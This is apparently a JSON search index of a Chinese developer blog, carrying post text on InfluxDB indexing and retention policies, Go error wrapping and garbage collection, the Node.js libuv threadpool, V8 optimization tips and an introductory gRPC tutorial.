InfluxDB 。 In-memory :索引被存储在内存中,这也是默认使用的方式,性能更高。 TSI( Time Series Index ):In-memory 索引可以支持千万级别的 series ,然而内存资源终归是有限的,为了支持亿级和十亿级别的 series 数据,TSI 应运而生,其会将索引映射到磁盘文件上。 索引相关配置项(默认的配置文件为 influxdb.conf ): 索引方式,inmem 或者 tsi1 : index-version = \"inmem\" in-memory 相关设置: max-series-per-database = 1000000 max-values-per-tag = 100000 max-series-per-database :每个数据库允许的最大 series 数量,默认一百万,一旦达到上限,再写入新的 series 则会得到一个 500 错误,向已经存在的 series 写入数据不受影响。设置为 0 则意味着没有限制。 max-values-per-tag :每个 tag key 允许的最大 tag values 数量,默认十万,类似的,一旦达到上限,无法写入新的 tag value ,而向已经存在的 tag value 写入数据不受影响。设置为 0 则意味着没有限制。 TSI( tsi1 )相关设置: max-index-log-file-size = \"1m\" series-id-set-cache-size = 100 max-index-log-file-size :预写日志的文件大小达到多大的阈值之后,将其压缩为索引文件,阈值越低,压缩越快,堆内存使用率越低,但会降低写入的吞吐量。 series-id-set-cache-size :使用内存缓存的 series 集的大小,由于 TSI 索引存储在了磁盘文件中,因此使用时需要额外的计算工作,但如果将索引结果缓存起来的话就可以避免重复的计算,提高查询性能。默认缓存 100 个 series ,这个值越大则使用的堆内存越大,设置为 0 则不缓存。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-27","objectID":"/3/:0:3","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(三)","uri":"/3/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(二)","date":"2019-10-26","objectID":"/2/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(二)","uri":"/2/"},{"categories":["InfluxDB"],"content":" RP 先回顾一下 RP 策略( retention policy ),它由三个部分构成: DURATION:数据的保留时长。 REPLICATION:集群模式下数据的副本数,单节点无效。 SHARD DURATION:可选项,shard group 划分的时间范围。 前两个部分没啥好说的,而 shard duration 和 shard group 的概念你可能会感到比较陌生。 shard 是什么? 先来看数据的层次结构: 如果所示,一个 database 对应一个实际的磁盘上的文件夹,该数据库下不同的 RP 策略对应不同的文件夹。 shard group 只是一个逻辑概念,并没有实际的磁盘文件夹,shard group 包含有一个或多个 shard 。 最终的数据是存储在 shard 中的,每个 shard 也对应一个具体的磁盘文件目录,数据是按照时间范围分割存储的,shard duration 也就是划分 shard group 的时间范围(例如 shard duration 如果是一周,那么第一周的数据就会存储到一个 shard group 中,第二周的数据会存储到另外一个 shard group 中,以此类推)。 另外,每个 shard 目录下都有一个 TSM 文件(后缀名为 .tsm ),正是这个文件存储了最后编码和压缩后的数据。shard group 下的 shard 是按照 series 来划分的,每个 shard 包含一组特定的 series ,换句话说特定 shard group 中的特定 series 上的所有 points 点都存储在同一个 TSM 文件中。 shard duration shard 从属于唯一一个 shard group ,shard duration 和 shard group duration 是同一个概念。 如前文所述,数据按照时间范围分割存储,分割的时间范围由 RP 策略中的 shard group duration 指定。 默认情况下,shard group duration 根据 RP duration 的值来确定,对应关系如下图: RP 策略是不可或缺的,如果未设置则会使用默认的名称为 autogen 的 RP ,它的 duration 是 infinite 也就是数据不会过期,shard group duration 是 7 天( duration 是 infinite 对应的就是 \u003e 6 months 这一栏)。 shard group duration 设置为多久才最好? 长时间范围:有利于存储更多数据,整体性能更好。 短时间范围:灵活性更高,有利于删除过期数据和记录增量备份。删除过期数据是删除整个 shard group 而不是单个的 shard 。 默认配置对于大多数场景都运行的很好,然而,高吞吐量或长时间运行的实例将受益于更长的 shard group duration ,官方建议的配置如下: 其它一些需要考虑的因素: shard group 应该包含最频繁查询的最长时间范围的两倍。 每个 shard group 应该包含超过十万个 point 。 shard group 中的每个 series 应该包含超过一千个 point 。 另外,批量插入长时间范围内的大量历史数据将会一次触发大量 shard 的创建,并发访问和写入成百上千的 shard 会导致性能降低和内存耗尽,对于这种情况建议临时设置较长的 shard group duration 比如 52 周。 RP 策略可以动态调整,删除一个 RP 将会删除其下的所有数据。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-26","objectID":"/2/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(二)","uri":"/2/"},{"categories":["InfluxDB"],"content":"时序数据库 InfluxDB(一)","date":"2019-10-25","objectID":"/1/","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(一)","uri":"/1/"},{"categories":["InfluxDB"],"content":" 数据库种类有很多,比如传统的关系型数据库 RDBMS( 如 MySQL ),NoSQL 数据库( 如 MongoDB ),Key-Value 类型( 如 redis ),Wide column 类型( 如 HBase )等等等等,当然还有本系列文章将会介绍的时序数据库 TSDB( 如 InfluxDB )。 时序数据库 TSDB 不同的数据库针对的应用场景有不同的偏重。TSDB( time series database )时序数据库是专门以时间维度进行设计和优化的。 TSDB 通常具有以下的特点: 时间是不可或缺的绝对主角(就像 MySQL 中的主键一样),数据按照时间顺序组织管理 高并发高吞吐量的数据写入 数据的更新很少发生 过期的数据可以批量删除 InfluxDB 就是一款非常优秀的时序数据库,高居 DB-Engines TSDB rank 榜首。 InfluxDB 分为免费的社区开源版本,以及需要收费的闭源商业版本,目前只有商业版本支持集群。 InfluxDB 的底层数据结构从 LSM 树到 B+ 树折腾了一通,最后自创了一个 TSM 树( Time-Structured Merge Tree ),这也是它性能高且资源占用少的重要原因。 InfluxDB 由 go 语言编写而成,没有额外的依赖,它的查询语言 InfluxQL 与 SQL 极其相似,使用特别简单。 InfluxDB 基本概念 InfluxDB 有以下几个核心概念: 1、database : 数据库。 2、measurement 类似于表。 3、retention policy( 简称 RP ) 保留策略,由以下三个部分构成: DURATION:数据的保留时长。 REPLICATION:集群模式下数据的副本数,单节点无效。 SHARD DURATION:可选项,shard group 划分的时间范围。 4、timestamp 时间戳,就像是所有数据的主键一样。 5、tag tag key = tag value 键值对存储具体的数据,会构建索引有利于查询。tag set 就是 tag key-value 键值对的不同组合。 6、field field key = field value 键值对也是存储具体的数据,但不会被索引。类似的 field set 就是 field key-value 的组合。 7、series 一个 series 序列是由同一个 RP 策略下的同一个 measurement 里的同一个 tag set 构成的数据集合。 8、point 一个 point 点代表了一条数据,由 measurement、tag set、field set、timestamp 组成。一个 series 上的某个 timestamp 时间对应唯一一个 point 。 Line protocol 行协议 行协议指定了写入数据的格式: \u003cmeasurement\u003e[,\u003ctag-key\u003e=\u003ctag-value\u003e...] \u003cfield-key\u003e=\u003cfield-value\u003e[,\u003cfield2-key\u003e=\u003cfield2-value\u003e...] [unix-nano-timestamp] 符号 [] 代表可选项,符号 … 代表可以有多个,符号 ,用来分隔相同 tag 或者 field 下的多个数据,符号空格分隔 tag、field、timestamp 。 示例: 怎么去理解 series 和 point ?先看下图: 这张图选取了三种时序数据库的历年排名得分情况。首先,整个图表可以看成是一个 measurement ,它包含了许多数据;然后我们根据 db 名称构建 tag ,把 score 排名得分作为 field ,那么所有数据行就类似于: measurement,db=InfluxDB score=5 timestamp measurement,db=Kdb+ score=1 timestamp measurement,db=Prometheus score=0.2 timestamp ... 上文说过 tag set 就是 tag key = tag value 的不同组合,因此这里的 tag set 有以下三种: db=InfluxDB db=Kdb+ db=Prometheus 三个 tag set 构成了三个 series ,每个 series 就可以看成是图中的一条线(一个维度),而每个 point 点就是 series 上具体某个 timestamp 对应的点。 与传统数据库的不同 InfluxDB 就是被设计用于处理时间序列的数据。传统SQL数据库虽然也可以处理时间序列数据,但并不是专门以此为目标的。InfluxDB 可以更加高效快速的存储大量时间序列数据并对这些数据进行实时分析。 在 InfluxDB 中,时间是绝对的主角,就像是SQL数据库中的主键一样,如果你不指定则会默认为系统当前时间,时间必须是 UNIX epoch ( GMT ) 或者 RFC3339 格式。 InfluxDB 不需要预先定义好数据的结构,你可以随时改变你的数据结构。InfluxDB 支持 continuous queries(连续查询,就是以时间划分范围自动定期执行某个查询)和 retention policies(保留策略)。InfluxDB 不支持跨 measurement 的 JOIN 查询。 InfluxDB 中的查询语言叫 InfluxQL ,语法与 SQL 极其相似,就是 select from where 那一套。 InfluxDB 并不是 CRUD,更像是 CR-ud ,意思就是更新和删除数据跟传统SQL数据库明显不一样: 更新某个 point 数据,只需向原来的 measurement,tag set,timestamp 重写数据即可。 你可以删除 series ,但是不能基于 field 值去删除独立的 points ,解决方法是,你需要先查询 field 值的时间戳,然后根据时间戳去删除。 无法更新或重命名 tags ,因为 tags 会构建索引,你只能创建新的 tags 并导入数据然后删除老的。 无法通过 tag key 或者 tag value 去删除 tags 。 设计与权衡之道 InfluxDB 为了更高的性能做了一些设计与权衡之道: 1、对于时间序列用例,即使相同的数据被发送多次也会被认为是同一笔数据。 优点:简化了冲突,提高了写入性能。 缺点:不能存储重复数据,可能会在极少数情况下覆盖数据。 2、删除是罕见的,当它们发生时肯定是针对大量的旧数据。 优点:提高了读写性能。 缺点:删除功能受到了很大限制。 3、更新是罕见的,持续或者大批量的更新不会发生。时间序列的数据主要是永远也不会更新的新数据。 优点:提高了读写性能。 缺点:更新功能受到了很大限制。 4、绝大多数写入都是接近当前时间戳的数据,并且是按时间递增顺序添加。 优点:按时间递增的顺序写入数据更高效。 缺点:随机时间写入的性能要低很多。 5、数据规模至关重要,数据库必须能够处理大量的读写。 优点:数据库可以处理大批量数据的读写。 缺点:被迫做出的一些权衡去提高性能。 6、能够写入和查询数据比具有强一致性更重要。 优点:多个客户端可以在高负载的情况下完成查询和写入操作。 缺点:如果负载过高,查询结果可能不包含最近的点。 7、许多时间序列都是短暂的。时间序列可能只有几个小时然后就没了,比如一台新的主机开机,监控数据写入一段时间,然后关机了。 优点:InfluxDB 善于管理不连续的数据。 缺点:无模式设计意味着不支持某些数据库功能,例如没有 join 交叉表连接。 8、No one point is too important 。 优点:InfluxDB 具有非常强大的工具去处理聚合数据和大数据集。 缺点:Points 数据点没有传统意义上的 ID ,它们被时间戳和 series 区分。 相关文章: 时序数据库 InfluxDB(一) 时序数据库 InfluxDB(二) 时序数据库 InfluxDB(三) 时序数据库 InfluxDB(四) 时序数据库 InfluxDB(五) 时序数据库 InfluxDB(六) 时序数据库 InfluxDB(七) ","date":"2019-10-25","objectID":"/1/:0:0","tags":["InfluxDB"],"title":"时序数据库 InfluxDB(一)","uri":"/1/"},{"categories":["Golang"],"content":"Go Errors 错误处理","date":"2019-10-18","objectID":"/errors/","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"Golang 中的 error 是一个内置的特殊的接口类型: type error interface { Error() string } 在 Go 1.13 版本之前,有关 error 的方法只有两个: errors.New : func New(text string) error fmt.Errorf : func Errorf(format string, a ...interface{}) error 这两个方法都是用来生成一个新的 error 类型的数据。 ","date":"2019-10-18","objectID":"/errors/:0:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"1.13 版本之前的错误处理 最常见的,判断是否为 nil : if err != nil { // something went wrong } 判断是否为某个特定的错误: var ErrNotFound = errors.New(\"not found\") if err == ErrNotFound { // something wasn't found } error 是一个带有 Error 方法的接口类型,这意味着你可以自己去实现这个接口: type NotFoundError struct { Name string } func (e *NotFoundError) Error() string { return e.Name + \": not found\" } if e, ok := err.(*NotFoundError); ok { // e.Name wasn't found } 处理错误的时候我们通常会添加一些额外的信息,记录错误的上下文以便于后续排查: if err != nil { return fmt.Errorf(\"错误上下文 %v: %v\", name, err) } fmt.Errorf 方法会创建一个包含有原始错误文本信息的新的 error ,但是与原始错误之间是没有任何关联的。 然而我们有时候是需要保留这种关联性的,这时候就需要我们自己去定义一个包含有原始错误的新的错误类型,比如自定义一个 QueryError : type QueryError struct { Query string Err error // 与原始错误关联 } 然后可以判断这个原始错误是否为某个特定的错误,比如 ErrPermission : if e, ok := err.(*QueryError); ok \u0026\u0026 e.Err == ErrPermission { // query failed because of a permission problem } 写到这里,你可以发现对于错误的关联嵌套情况处理起来是比较麻烦的,而 Go 1.13 版本对此做了改进。 ","date":"2019-10-18","objectID":"/errors/:1:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"1.13 版本之后的错误处理 首先需要说明的是,Go 是向下兼容的,上文中的 1.13 版本之前的用法完全可以继续使用。 1.13 版本的改进是: 新增方法 errors.Unwrap : func Unwrap(err error) error 新增方法 errors.Is : func Is(err, target error) bool 新增方法 errors.As : func As(err error, target interface{}) bool fmt.Errorf 方法新增了 %w 格式化动词,返回的 error 自动实现了 Unwrap 方法。 下面进行详细说明。 对于错误嵌套的情况,Unwrap 方法可以用来返回某个错误所包含的底层错误,例如 e1 包含了 e2 ,这里 Unwrap e1 就可以得到 e2 。Unwrap 支持链式调用(处理错误的多层嵌套)。 使用 errors.Is 和 errors.As 方法检查错误: errors.Is 方法检查值: if errors.Is(err, ErrNotFound) { // something wasn't found } errors.As 方法检查特定错误类型: var e *QueryError if errors.As(err, \u0026e) { // err is a *QueryError, and e is set to the error's value } errors.Is 方法会对嵌套的情况展开判断,这意味着: if e, ok := err.(*QueryError); ok \u0026\u0026 e.Err == ErrPermission { // query failed because of a permission problem } 可以直接简写为: if errors.Is(err, ErrPermission) { // err, or some error that it wraps, is a permission problem } fmt.Errorf 方法通过 %w 包装错误: if err != nil { return fmt.Errorf(\"错误上下文 %v: %v\", name, err) } 上面通过 %v 是直接返回一个与原始错误无法关联的新的错误。 我们使用 %w 就可以进行关联了: if err != nil { // Return an error which unwraps to err. return fmt.Errorf(\"错误上下文 %v: %w\", name, err) } 一旦使用 %w 进行了关联,就可以使用 errors.Is 和 errors.As 方法了: err := fmt.Errorf(\"access denied: %w”, ErrPermission) ... if errors.Is(err, ErrPermission) ... 对于是否包装错误以及如何包装错误并没有统一的答案。 ","date":"2019-10-18","objectID":"/errors/:2:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"参考资料 https://blog.golang.org/go1.13-errors ","date":"2019-10-18","objectID":"/errors/:3:0","tags":["Golang"],"title":"Go Errors 错误处理","uri":"/errors/"},{"categories":["Golang"],"content":"Go 垃圾回收","date":"2019-09-25","objectID":"/gc/","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"Garbage Collection( GC )也就是垃圾回收到底是什么?内存空间是有限的,诸如变量等需要分配内存才能存储数据,而当这个变量不再使用的时候就需要释放它占用的内存,这就是垃圾回收。 Go 的垃圾回收运行在后台的守护线程中,会自动追踪检查对象的使用情况,然后回收不再使用的空间,我们一般并不会也不需要直接接触到它。 ","date":"2019-09-25","objectID":"/gc/:0:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"GC 模型 Go 使用的是 Mark-Sweep(标记-清除)方式,其具体的垃圾回收算法一直都在调整优化,本文并不打算去介绍这些算法,而是从一个整体的角度去描述 GC 的过程。 Collection 可以分为三个阶段: Mark Setup - STW Marking - Concurrent Mark Termination - STW STW 是 Stop The World 的缩写,意思是 GC 的时候会暂停其它所有任务,正是如此才导致了延迟的存在。 ","date":"2019-09-25","objectID":"/gc/:1:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"1、Mark Setup - STW 垃圾回收开始,首先需要开启 Write Barrier(写屏障),为此所有应用程序 goroutine 必须暂停,这个过程通常很快,平均 10 - 30 微秒。 假设应用程序当前运行了四个 goroutine : 我们需要等待所有 goroutine 暂停,而暂停操作是需要出现一次函数调用才能完成,如果某个 goroutine 始终没有发生函数调用(比如一直在执行某个非常长的循环操作)而其它 goroutine 却完成了会怎样,就会如下图: 然而,必须所有的 goroutine 全部都暂停,垃圾回收才能继续进行,不然就会卡在这里一直等待,结果就是延迟越来越高。这个问题官方团队计划将在 1.14 版本通过优先策略进行优化。 一旦这一阶段完成,Write Barrier(写屏障)开启,就会进入下一阶段。 ","date":"2019-09-25","objectID":"/gc/:1:1","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"2、Marking - Concurrent 进行标记,Concurrent 表示这个过程是并发进行的,不会 STW ,GC 会先征用 25% 的 CPU 资源,如下图: GC 占用了 P1 逻辑处理器,而其它 goroutine 正常的并发运行。 但是,有些时候 GC 的任务特别繁重,需要更多的资源,这个时候怎么办?开启 Mark Assit 协助工作,如下图中的 MA : 标记完成,进行下一个阶段。 ","date":"2019-09-25","objectID":"/gc/:1:2","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"3、Mark Termination - STW 标记终止。关闭 Write Barrier(写屏障),执行各种清理任务,然后计算下一次 GC 的目标,这个阶段也是需要 STW 的,平均 60 - 90 微秒: 一旦 GC 完成,goroutine 继续执行: ","date":"2019-09-25","objectID":"/gc/:1:3","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"Sweeping - Concurrent Sweeping(清除)需要等待 collection 完成之后,回收被标记为未使用的值的内存,这个过程发生在应用程序 goroutine 尝试给新值分配内存空间时,Sweeping 的延迟将会增加内存分配的成本。 ","date":"2019-09-25","objectID":"/gc/:1:4","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"延迟优化 虽然 Go 的 GC 很优秀,但正如前文所述,GC 的延迟还是会拖累应用程序的,那么我们在应用程序中可以进行怎么的优化呢? 答案是降低内存的压力即分配内存的频率,比如使用 slice 时,尽量避免因为容量不够了而导致分配更多的内存的频率。 如何调试我们的程序去发现需要优化的地方? 1、开启 gotrace 追踪各种指标: GODEBUG=gctrace=1 通过指标数据可以看到各个过程及耗时情况,比如: 2、使用 pprof 具体用法请自行参考其它资料。 ","date":"2019-09-25","objectID":"/gc/:2:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Golang"],"content":"参考资料 https://www.ardanlabs.com/blog/2018/12/garbage-collection-in-go-part1-semantics.html https://www.ardanlabs.com/blog/2019/05/garbage-collection-in-go-part2-gctraces.html https://www.ardanlabs.com/blog/2019/07/garbage-collection-in-go-part3-gcpacing.html ","date":"2019-09-25","objectID":"/gc/:3:0","tags":["Golang"],"title":"Go 垃圾回收","uri":"/gc/"},{"categories":["Uncate"],"content":"CPU 密集型任务会阻塞 Node.js 吗【译】","date":"2019-09-24","objectID":"/nodejs-thread-block/","tags":["Node.js"],"title":"CPU 密集型任务会阻塞 Node.js 吗【译】","uri":"/nodejs-thread-block/"},{"categories":["Uncate"],"content":"本文翻译自: https://betterprogramming.pub/is-node-js-really-single-threaded-7ea59bcc8d64 CPU密集型任务会阻塞 Node.js 吗? 让我们使用加密任务做个简单测试: 如图所示,连续执行四次加密任务,打印耗时,结果会发生什么? 结果输出: Hash: 1232 Hash: 1237 Hash: 1268 Hash: 1297 这四次加密任务计时的起始时间都是相同的,然后最终的结束时间却几乎一致,这个结果说明了什么?说明它们是并发执行的。 如果不是并发执行,那么结果就会如下图所示: 那么为什么这里没有发生阻塞? Node.js 的执行过程如上图所示,我们要注意的是 libuv 默认使用了四个线程!上述示例中的四个加密任务分别推送到了四个不同的线程中去并发执行,所以才没有发生阻塞。 那么问题来了?如果连续执行五个加密任务呢? 输出结果: Hash: 1432 Hash: 1437 Hash: 1468 Hash: 1497 Hash: 2104 可以看到前四个任务仍然是并发执行的,但是第五个任务发生了阻塞。 为什么?因此 libuv 的四个线程都在忙碌,第五个任务只有等待线程的任务执行完毕才能推送到线程中去执行。 过程如下图所示: 1、四个线程都在忙碌,其它任务必须等待: 2、某个线程任务完成,继续执行其它任务: libuv 线程池中的线程数量是否可以设置? 通过环境变量 UV_THREADPOOL_SIZE 即可设置。 比如: 我把线程数设置为 5 ,执行的结果就会是下图所示: 请注意测试环境的 CPU 核心数是四个,需要说明的有两点:第一,五个任务被推送到了五个线程中去并发执行,这一点上文已经说明;第二,每个任务的耗时有了明显的增加,为什么?因为我们只有四核,但是却有五个线程,操作系统需要进行平衡调度、通过上下文切换以保证每个线程分配到相同的时间去执行任务。 ","date":"2019-09-24","objectID":"/nodejs-thread-block/:0:0","tags":["Node.js"],"title":"CPU 密集型任务会阻塞 Node.js 吗【译】","uri":"/nodejs-thread-block/"},{"categories":["Node.js"],"content":"从 V8 优化看高效 JavaScript【译】","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"文本翻译自: https://blog.logrocket.com/how-javascript-works-optimizing-the-v8-compiler-for-efficiency 理解 JavaScript 是如何工作的对于编写高效的 JS 大有帮助。 V8 执行 JS 分为三个阶段: 源代码转换为 AST 抽象语法树。 语法树转换为字节码:这个过程由 V8 的 Ignition 完成,2017年之前是没有的。 字节码编译成机器码:由 V8 的编译器 TurboFan 来完成。 第一个阶段并不是文本的讨论范围,第二三阶段对于编写优化 JS 有直接影响。 实际上第二三阶段是紧耦合的,它们都在 just-in-time( JIT )内运作。为了理解 JIT ,我们先回顾下源代码转换为机器码的两种方法: 1、解释器 解释器逐行转换和执行代码,其优点是易于实现和理解、及时反馈、更宽泛的编程环境,缺点也非常明显,那就是速度慢,慢的原因在于(1)反复解释的开销和(2)无法优化程序的各个部分。 换句话说,解释器在处理不同的代码段时无法识别重复的工作量。如果你通过解释器运行相同的代码 100 次,那么解释器将会翻译并执行相同的代码 100 次,其中不必要的重新翻译了 99 次。 解释器很简单、启动快速,但执行速度慢。 2、编译器 编译器在执行之前翻译所有的源代码。编译器更加复杂,但是可以进行全局优化(例如,共享重复代码),其执行速度也更快。 编译器更复杂、启动慢,但执行速度更快。 JIT 的作用就是尽可能结合解释器和编译器的优点,以使翻译代码和执行都能快速。 基本思想是尽可能避免重新翻译。首先,探测器通过解释器运行代码,在执行期间,探测器会追踪代码段并将其会被划分为 warm(运行少数几次) 和 hot(运行重复多次)。 JIT 把 warm 代码段直接丢给基准编译器,尽可能重用已编译的代码。 JIT 把 hot 代码段丢给优化编译器,其根据解释器收集来的信息(1)作出假设,(2)基于假设(比如,对象属性始终以特定顺序出现)进行优化。 然而,一旦假设不成立,优化编译器就会进行 deoptimization 去优化,就是丢弃优化的代码。 优化和去优化的周期是昂贵的。由于需要存储优化过的机器码和探测器的信息,JIT 引入了额外的内存成本。这种成本激发了 V8 的解释器 Ignition 。 Ignition 将 AST 转换为字节码,字节码序列被执行,其反馈信息被 inline caches 内联高速缓存。 反馈信息被用于(1)Ignition 随后的解释,和(2)TurboFan 推测性优化。 TurboFan 基于反馈推测性的优化将字节码转换为机器码。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:0:0","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"如何优化你的 JavaScript ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:0","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"1、在构造函数中声明对象属性 改变对象的属性将会导致新的隐藏类: class Point { constructor(x, y) { this.x = x; this.y = y; } } var p1 = new Point(11, 22); // hidden class Point created var p2 = new Point(33, 44); p1.z = 55; // another hidden class Point created 本来 p1 和 p2 应该使用的是同一个隐藏类,但是由于 p1.z 的原因将会导致它们使用不同的隐藏类,这将导致 TurboFan 的去优化,这是应该避免的。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:1","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"2、保持对象属性排序不变 改变对象属性的排序也将会导致新的隐藏类: const a1 = { a: 1 }; # hidden class a1 created a1.b = 3; const a2 = { b: 3 }; # different hidden class a2 created a2.a = 1; 保持对象属性的排序有利于重用相同的隐藏类,效率更高。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:2","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"3、注意函数的参数类型 函数参数类型的更改也将会导致去优化和重新优化: function add(x, y) { return x + y } add(1, 2); # monomorphic add(\"a\", \"b\"); # polymorphic add(true, false); add([], []); add({}, {}); # megamorphic 比如这个函数,由于参数类型的易变将会导致编译器无法优化。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:3","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"4、在 script 域声明类 不要在函数范围内定义类: function createPoint(x, y) { class Point { constructor(x, y) { this.x = x; this.y = y; } } return new Point(x, y); } function length(point) { ... } 这个函数每被调用一次,一个新的原型就被会创建,每个新的原型都会对应一个新的对象 shape ,这也是无法优化的。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:4","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"5、使用 for ... in for ... in 循环是 V8 引擎特别优化过的,可以快 4 到 6 倍。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:5","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"6、不相关的字符不会影响性能 早期使用的是函数的字节计数来确定是否内联函数,但是现在使用的是 AST 的节点数量来确定函数的大小。这就是说,诸如空格、注释、变量名称长度、函数签名之类的不相关字符不会影响函数的性能。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:6","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Node.js"],"content":"7、Try / catch / finally 并不是毁灭性的 Try 以前会导致昂贵的优化和去优化循环,但是现在并不会导致明显的性能影响。 文本翻译有部分删减,全部内容可查看原始文章。 ","date":"2019-09-18","objectID":"/efficient-js-from-v8-optimization/:1:7","tags":[],"title":"从 V8 优化看高效 JavaScript【译】","uri":"/efficient-js-from-v8-optimization/"},{"categories":["Golang"],"content":"微服务互通的桥梁: gRPC 入门示例","date":"2019-08-23","objectID":"/grpc/","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"RPC 是什么?Remote Procedure Call ,远程过程调用,一种通信协议。你可以理解为,在某台机器上调用另外一台机器上的服务或方法。 应用服务对外可以提供 REST 接口以供进行服务的调用,那么对于分布式系统内部的微服务之间的相互调用呢?REST 的方式仍然可行,但是效率不高,因此 RPC 出现了。 gRPC 是谷歌开源的一套 RPC 实现机制,低延迟、高性能,其基于 HTTP/2 和 Protocol Buffers 。HTTP/2 在现行 HTTP/1.1 的基础上进行了大量优化,比如由文本传输变为二进制传输,同时具有多路复用、双向流等等特点,总之就是更牛了。Protocol Buffers 是一个序列化或反序列化数据的协议,说白了就是文本数据与二进制数据之间的相互转换。 文本将会带你入门 gRPC ,并且提供 Node.js 和 Go 两个版本的示例。 ","date":"2019-08-23","objectID":"/grpc/:0:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Protocol Buffers 服务之间相互调用需要定义统一的数据格式(比如请求和响应),同时还要声明具体的服务及其方法,因此我们首先要做的就是定义一个 .proto 后缀的文件。 示例: 1、syntax 声明使用的 protocol buffers 协议版本,现行的是第三版。 2、package 声明自定义的包名,这里的 package 可以理解为 go 中的包,或者 node.js 中的 module 。 3、message 定义数据格式,比如这里的 ReqBody 是请求的数据,响应结果则是 UserOrders ,名称都是自定义的,message 可以嵌套使用,message 内部需要定义具体的字段名称和数据类型,字段需要从 1 开始依次编号,但是枚举类型比较特别,枚举值从 0 开始编号。通过 repeated 声明某个字段可以重复,也就是这个数据是一个数组的形式。 4、service 定义服务名称,rpc 定义该服务下具体的方法,以及请求和响应的数据格式。 这个示例定义的是,我有一个服务叫 RPCService ,这个服务有一个方法叫 QueryUserOrders ,调用这个方法需要传递的请求数据的格式是 ReqBody ,响应结果的数据格式是 UserOrders 。 很简单是不是,.proto 协议文件清晰的定义了 RPC 服务、服务下的方法、请求和响应的数据格式,而 RPC 服务的客户端和服务端则将根据这个协议进行相互。 下面将会构建 RPC 服务端响应数据,以及 RPC 客户端发起请求。 ","date":"2019-08-23","objectID":"/grpc/:1:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Node.js 版本 在 Node.js 中使用 gRPC 非常简单,我们需要依赖 grpc 和 @grpc/proto-loader 这两个官方包。 1、构建 gRPC 服务端: 如图所示,我们需要导入前面定义好的 .proto 文件,同时由于语言本身数据类型的不同,可以设置类型转换,比如将 .proto 中定义的枚举类型转换为 node.js 中的 string 类型。 gRPC 服务端需要按照 .proto 的约定,绑定服务以及实现具体的方法,同时由于其底层基于 HTTP/2 协议通信,因此还需要监听一个具体的端口并且启动这个 gRPC 服务。 2、构建 gRPC 客户端发起 RPC 调用: # --proto_path 源路径, --go_out 输出路径,一定要指明 plugins=grpc protoc --proto_path=grpc --go_out=plugins=grpc:grpc test.proto 需要注意的是,包名、服务名、方法名必须和 .proto 文件定义的保持一致。 ","date":"2019-08-23","objectID":"/grpc/:2:0","tags":["Golang"],"title":"微服务互通的桥梁: gRPC 入门示例","uri":"/grpc/"},{"categories":["Golang"],"content":"Go 版本 与 Node.js 不同的是 Go 